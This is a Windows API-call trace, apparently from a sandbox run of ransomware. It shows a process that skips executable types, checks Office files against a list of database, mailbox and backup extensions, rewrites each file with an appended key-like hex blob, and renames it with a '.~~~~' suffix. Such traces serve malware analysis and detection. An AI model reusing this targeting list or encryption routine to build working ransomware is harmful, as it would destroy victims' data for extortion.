	[0145.137] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0145.137] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0145.138] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x37f978
	[0145.138] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0145.138] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37f978 | out: hHeap=0x300000) returned 1
	[0145.138] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0145.138] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0145.138] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28aca58
	[0145.138] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0145.138] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2870a20
	[0145.138] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28aca58 | out: hHeap=0x300000) returned 1
	[0145.138] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0145.138] GetLastError () returned 0x0
	[0145.139] GetLastError () returned 0x0
	[0145.139] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0145.139] GetLastError () returned 0x0
	[0145.139] GetLastError () returned 0x0
	[0145.139] ReadFile (in: hFile=0x114, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x26dfec0*=0x71, lpOverlapped=0x0) returned 1
	[0145.140] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xffffff8f, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0145.140] WriteFile (in: hFile=0x114, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x71, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x26dfec0*=0x71, lpOverlapped=0x0) returned 1
	[0145.141] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0145.141] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0145.141] WriteFile (in: hFile=0x114, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0145.141] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0145.141] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0145.141] CloseHandle (hObject=0x114) returned 1
	[0145.141] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x39ae80
	[0145.142] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_k_col.hxk"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_k_col.hxk.~~~~")) returned 1
	[0145.144] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39ae80 | out: hHeap=0x300000) returned 1
	[0145.144] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0145.145] GetLastError () returned 0x0
	[0145.145] RtlWakeConditionVariable () returned 0x0
	[0145.145] GetCurrentThreadId () returned 0x9cc
	[0145.145] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK", lpSrch=".scr") returned 0x0
	[0145.145] lstrlenW (lpString=".cmd") returned 4
	[0145.145] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK", lpSrch=".cmd") returned 0x0
	[0145.145] lstrlenW (lpString=".dll") returned 4
	[0145.145] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK", lpSrch=".dll") returned 0x0
	[0145.145] lstrlenW (lpString=".bat") returned 4
	[0145.145] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK", lpSrch=".bat") returned 0x0
	[0145.145] lstrlenW (lpString=".cpl") returned 4
	[0145.145] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK", lpSrch=".cpl") returned 0x0
	[0145.145] lstrlenW (lpString=".sys") returned 4
	[0145.145] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK", lpSrch=".sys") returned 0x0
	[0145.145] lstrlenW (lpString=".msc") returned 4
	[0145.146] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK", lpSrch=".msc") returned 0x0
	[0145.146] lstrlenW (lpString=".com") returned 4
	[0145.146] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK", lpSrch=".com") returned 0x0
	[0145.146] lstrlenW (lpString=".lnk") returned 4
	[0145.146] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK", lpSrch=".lnk") returned 0x0
	[0145.146] lstrlenW (lpString=".msp") returned 4
	[0145.146] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK", lpSrch=".msp") returned 0x0
	[0145.146] lstrlenW (lpString=".pif") returned 4
	[0145.146] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK", lpSrch=".pif") returned 0x0
	[0145.146] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0145.146] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK", lpSrch="msp\r\n.pif") returned 0x0
	[0145.146] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
	[0145.148] lstrlenW (lpString=".sqb") returned 4
	[0145.148] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK", lpSrch=".sqb") returned 0x0
	[0145.148] lstrlenW (lpString=".ost") returned 4
	[0145.148] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK", lpSrch=".ost") returned 0x0
	[0145.148] lstrlenW (lpString=".txt") returned 4
	[0145.148] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK", lpSrch=".txt") returned 0x0
	[0145.148] lstrlenW (lpString=".mdt") returned 4
	[0145.148] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK", lpSrch=".mdt") returned 0x0
	[0145.148] lstrlenW (lpString=".BDB") returned 4
	[0145.149] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK", lpSrch=".BDB") returned 0x0
	[0145.149] lstrlenW (lpString=".eql") returned 4
	[0145.149] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK", lpSrch=".eql") returned 0x0
	[0145.149] lstrlenW (lpString=".DBF") returned 4
	[0145.149] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK", lpSrch=".DBF") returned 0x0
	[0145.149] lstrlenW (lpString=".EQL") returned 4
	[0145.149] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK", lpSrch=".EQL") returned 0x0
	[0145.149] lstrlenW (lpString=".FDB") returned 4
	[0145.149] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK", lpSrch=".FDB") returned 0x0
	[0145.149] lstrlenW (lpString=".EDB") returned 4
	[0145.149] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK", lpSrch=".EDB") returned 0x0
	[0145.149] lstrlenW (lpString=".DACPAC") returned 7
	[0145.149] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK", lpSrch=".DACPAC") returned 0x0
	[0145.149] lstrlenW (lpString=".VHD") returned 4
	[0145.149] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK", lpSrch=".VHD") returned 0x0
	[0145.149] lstrlenW (lpString=".DBV") returned 4
	[0145.149] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK", lpSrch=".DBV") returned 0x0
	[0145.149] lstrlenW (lpString=".dacpac") returned 7
	[0145.149] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK", lpSrch=".dacpac") returned 0x0
	[0145.149] lstrlenW (lpString=".sdf") returned 4
	[0145.149] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK", lpSrch=".sdf") returned 0x0
	[0145.149] lstrlenW (lpString=".accdb") returned 6
	[0145.149] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK", lpSrch=".accdb") returned 0x0
	[0145.149] lstrlenW (lpString=".DBX") returned 4
	[0145.149] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK", lpSrch=".DBX") returned 0x0
	[0145.149] lstrlenW (lpString=".MDT") returned 4
	[0145.149] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK", lpSrch=".MDT") returned 0x0
	[0145.150] lstrlenW (lpString=".SQB") returned 4
	[0145.150] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK", lpSrch=".SQB") returned 0x0
	[0145.150] lstrlenW (lpString=".vhd") returned 4
	[0145.150] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK", lpSrch=".vhd") returned 0x0
	[0145.150] lstrlenW (lpString=".bac") returned 4
	[0145.150] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK", lpSrch=".bac") returned 0x0
	[0145.150] lstrlenW (lpString=".mdf") returned 4
	[0145.150] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK", lpSrch=".mdf") returned 0x0
	[0145.150] lstrlenW (lpString=".BAK") returned 4
	[0145.150] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK", lpSrch=".BAK") returned 0x0
	[0145.150] lstrlenW (lpString=".BAC") returned 4
	[0145.150] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK", lpSrch=".BAC") returned 0x0
	[0145.150] lstrlenW (lpString=".dbs") returned 4
	[0145.150] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK", lpSrch=".dbs") returned 0x0
	[0145.150] lstrlenW (lpString=".vhdx") returned 5
	[0145.150] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK", lpSrch=".vhdx") returned 0x0
	[0145.150] lstrlenW (lpString=".NDF") returned 4
	[0145.150] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK", lpSrch=".NDF") returned 0x0
	[0145.150] lstrlenW (lpString=".dat") returned 4
	[0145.150] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK", lpSrch=".dat") returned 0x0
	[0145.150] lstrlenW (lpString=".DBS") returned 4
	[0145.150] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK", lpSrch=".DBS") returned 0x0
	[0145.150] lstrlenW (lpString=".CKP") returned 4
	[0145.150] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK", lpSrch=".CKP") returned 0x0
	[0145.150] lstrlenW (lpString=".edb") returned 4
	[0145.150] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK", lpSrch=".edb") returned 0x0
	[0145.150] lstrlenW (lpString=".PST") returned 4
	[0145.151] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK", lpSrch=".PST") returned 0x0
	[0145.151] lstrlenW (lpString=".dbf") returned 4
	[0145.151] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK", lpSrch=".dbf") returned 0x0
	[0145.151] lstrlenW (lpString=".SQL") returned 4
	[0145.151] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK", lpSrch=".SQL") returned 0x0
	[0145.151] lstrlenW (lpString=".pst") returned 4
	[0145.151] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK", lpSrch=".pst") returned 0x0
	[0145.151] lstrlenW (lpString=".dbv") returned 4
	[0145.151] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK", lpSrch=".dbv") returned 0x0
	[0145.151] lstrlenW (lpString=".SDF") returned 4
	[0145.151] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK", lpSrch=".SDF") returned 0x0
	[0145.151] lstrlenW (lpString=".dtxs") returned 5
	[0145.151] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK", lpSrch=".dtxs") returned 0x0
	[0145.151] lstrlenW (lpString=".db3") returned 4
	[0145.151] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK", lpSrch=".db3") returned 0x0
	[0145.151] lstrlenW (lpString=".OST") returned 4
	[0145.151] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK", lpSrch=".OST") returned 0x0
	[0145.151] lstrlenW (lpString=".dbx") returned 4
	[0145.151] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK", lpSrch=".dbx") returned 0x0
	[0145.151] lstrlenW (lpString=".DB3") returned 4
	[0145.151] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK", lpSrch=".DB3") returned 0x0
	[0145.151] lstrlenW (lpString=".DAT") returned 4
	[0145.151] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK", lpSrch=".DAT") returned 0x0
	[0145.152] lstrlenW (lpString=".VHDX") returned 5
	[0145.152] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK", lpSrch=".VHDX") returned 0x0
	[0145.152] lstrlenW (lpString=".ndf") returned 4
	[0145.152] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK", lpSrch=".ndf") returned 0x0
	[0145.152] lstrlenW (lpString=".DB") returned 3
	[0145.152] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK", lpSrch=".DB") returned 0x0
	[0145.152] lstrlenW (lpString=".sql") returned 4
	[0145.152] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK", lpSrch=".sql") returned 0x0
	[0145.152] lstrlenW (lpString=".MYD") returned 4
	[0145.152] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK", lpSrch=".MYD") returned 0x0
	[0145.152] lstrlenW (lpString=".DBT") returned 4
	[0145.152] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK", lpSrch=".DBT") returned 0x0
	[0145.152] lstrlenW (lpString=".ACCDB") returned 6
	[0145.152] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK", lpSrch=".ACCDB") returned 0x0
	[0145.152] lstrlenW (lpString=".fdb") returned 4
	[0145.152] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK", lpSrch=".fdb") returned 0x0
	[0145.152] lstrlenW (lpString=".bak") returned 4
	[0145.152] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK", lpSrch=".bak") returned 0x0
	[0145.152] lstrlenW (lpString=".myd") returned 4
	[0145.152] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK", lpSrch=".myd") returned 0x0
	[0145.152] lstrlenW (lpString=".DTXS") returned 5
	[0145.152] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK", lpSrch=".DTXS") returned 0x0
	[0145.152] lstrlenW (lpString=".ckp") returned 4
	[0145.152] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK", lpSrch=".ckp") returned 0x0
	[0145.153] lstrlenW (lpString=".dbt") returned 4
	[0145.153] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK", lpSrch=".dbt") returned 0x0
	[0145.153] lstrlenW (lpString=".db") returned 3
	[0145.153] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK", lpSrch=".db") returned 0x0
	[0145.153] lstrlenW (lpString=".TXT") returned 4
	[0145.153] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK", lpSrch=".TXT") returned 0x0
	[0145.153] lstrlenW (lpString=".MDF") returned 4
	[0145.153] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK", lpSrch=".MDF") returned 0x0
	[0145.153] lstrlenW (lpString=".bdb") returned 4
	[0145.153] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK", lpSrch=".bdb") returned 0x0
	[0145.153] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0145.153] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0145.153] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906418
	[0145.153] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0145.153] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3956b8) returned 1
	[0145.154] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0145.154] CryptReleaseContext (hProv=0x3956b8, dwFlags=0x0) returned 1
	[0145.154] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0145.155] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0145.155] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0145.155] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=26514477846) returned 1
	[0145.155] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xbfed3550, dwHighDateTime=0x1d60e1e)) 
	[0145.155] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0145.155] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0145.155] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0145.155] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3804a0
	[0145.155] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0145.155] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3804a0 | out: hHeap=0x300000) returned 1
	[0145.155] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0145.155] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0145.155] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29b0bc8
	[0145.155] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0145.155] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2870db0
	[0145.155] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29b0bc8 | out: hHeap=0x300000) returned 1
	[0145.156] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0145.156] GetLastError () returned 0x0
	[0145.156] GetLastError () returned 0x0
	[0145.156] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0145.156] GetLastError () returned 0x0
	[0145.156] GetLastError () returned 0x0
	[0145.156] ReadFile (in: hFile=0x114, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x26dfec0*=0x71, lpOverlapped=0x0) returned 1
	[0145.158] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xffffff8f, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0145.158] WriteFile (in: hFile=0x114, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x71, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x26dfec0*=0x71, lpOverlapped=0x0) returned 1
	[0145.158] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0145.158] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0145.158] WriteFile (in: hFile=0x114, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0145.158] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0145.158] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0145.158] CloseHandle (hObject=0x114) returned 1
	[0145.159] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29b0bc8
	[0145.159] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_k_col.hxk"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_k_col.hxk.~~~~")) returned 1
	[0145.162] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29b0bc8 | out: hHeap=0x300000) returned 1
	[0145.162] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0145.162] GetLastError () returned 0x0
	[0145.162] RtlWakeConditionVariable () returned 0x0
	[0145.162] GetCurrentThreadId () returned 0x9cc
	[0145.162] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS", lpSrch=".scr") returned 0x0
	[0145.162] lstrlenW (lpString=".cmd") returned 4
	[0145.162] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS", lpSrch=".cmd") returned 0x0
	[0145.162] lstrlenW (lpString=".dll") returned 4
	[0145.162] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS", lpSrch=".dll") returned 0x0
	[0145.162] lstrlenW (lpString=".bat") returned 4
	[0145.162] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS", lpSrch=".bat") returned 0x0
